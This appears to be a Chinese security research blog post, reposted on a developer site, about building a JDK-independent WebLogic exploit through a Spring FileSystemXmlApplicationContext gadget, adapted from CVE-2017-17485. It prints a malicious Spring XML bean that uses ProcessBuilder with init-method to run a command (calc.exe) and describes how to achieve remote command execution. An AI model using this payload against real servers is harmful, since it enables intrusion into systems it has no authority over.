内容简介:首先廖大神在自己的博客里提到了通过
首先廖大神在自己的博客里提到了通过
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
,可以构造无视jdk版本限制的payload,本着学习的心态搞一搞,看看为啥会这样。
0x02 深入
从 这篇文章 中看到,构造方法可以参考这个CVE-2017-17485。
先看看这个漏洞的payload。
再看看如何利用这个漏洞,我们发现这个漏洞利用方式是通过 org.springframework.context.support.FileSystemXmlApplicationContext
这个方法去加载恶意xml文件,而在上面的xml文件中通过spel表达式可以触发相关payload。
回到本次 weblogic 上, weblogic 也有这个相关构造函数,所以我们可以使用这个payload先试试,测试过程中发现无法使用,深究一下看一下代码,我们发现 weblogic 解析 xml 文件的类 com.bea.core.repackaged.springframework.beans.factory.support.BeanDefinitionValueResolver
我在这里打一个断点,这样进入
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
之后的操作就很明显。
这个地方和 CVE-2017-17485 的payload触发位置相比,少了一个表达式解析方法
Object valueObject=evaluate(TypedStringValue)
也就是说这里xml没办法通过雷神对 #{ pb.start() } 开始针对 pb 这个 bean 进行操作。所以说这里需要调整理一下 payload ,我调整后的结果如下所示。
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd "> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg value="calc.exe" /> </bean> </beans>
关于在spring 容器初始化 bean 和销毁前所做的操作定义方式有三种:
第一种:通过@PostConstruct 和 @PreDestroy 方法 实现初始化和销毁bean之前进行的操作
第二种是:通过在xml中定义init-method 和 destory-method方法
第三种是: 通过bean实现InitializingBean和 DisposableBean接口
CVE-2017-17485这个漏洞的触发 payload 用的是 spel 表达式的方法注册 bean ,而我们这里由于缺少相关解析文件无法使用 spel 表达式,这里可以使用 init-method 方法来解决这里这个问题,可以先看一个例子
测试程序如下:
public class TestInitMethod{ public void testInit(){ System.out.println("test init-method"); } }
配置文件如下:
//spring.xml <bean id="testInitMethod" class="com.TestInitMethod" init-method="testInit"></bean>
Main主程序如下:
public class Main { public static void main(String[] args){ ClassPathXmlApplicationContext context1 = new ClassPathXmlApplicationContext("spring.xml"); } }
打印如下结果:
test init-method
这里为什么没办法支持 spel ,我的想法可能是因为 spring 版本过低,所以没办法支持spel表达式。
当然FileSystemXmlApplicationContext
是继承
AbstractXmlApplicationContext
而 ClassPathXmlApplicationContext
也是继承 AbstractXmlApplicationContext
。
所以理论上这个类也可以,试试看,OK确实也可以。
0x03 后话
由于最近工作繁忙,导致学习时间极度拉下来,这个方法已经能够命令执行了,就不继续构造下一步payload,大家可以试试。这个方法也有缺陷,如果服务器无法主动发起请求的情况,也是没办法达到效果的,这个weblogic还是有很多地方可以学习的。
0x04 Reference
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Game Programming Patterns
Robert Nystrom / Genever Benning / 2014-11-2 / USD 39.95
The biggest challenge facing many game programmers is completing their game. Most game projects fizzle out, overwhelmed by the complexity of their own code. Game Programming Patterns tackles that exac......一起来看看 《Game Programming Patterns》 这本书的介绍吧!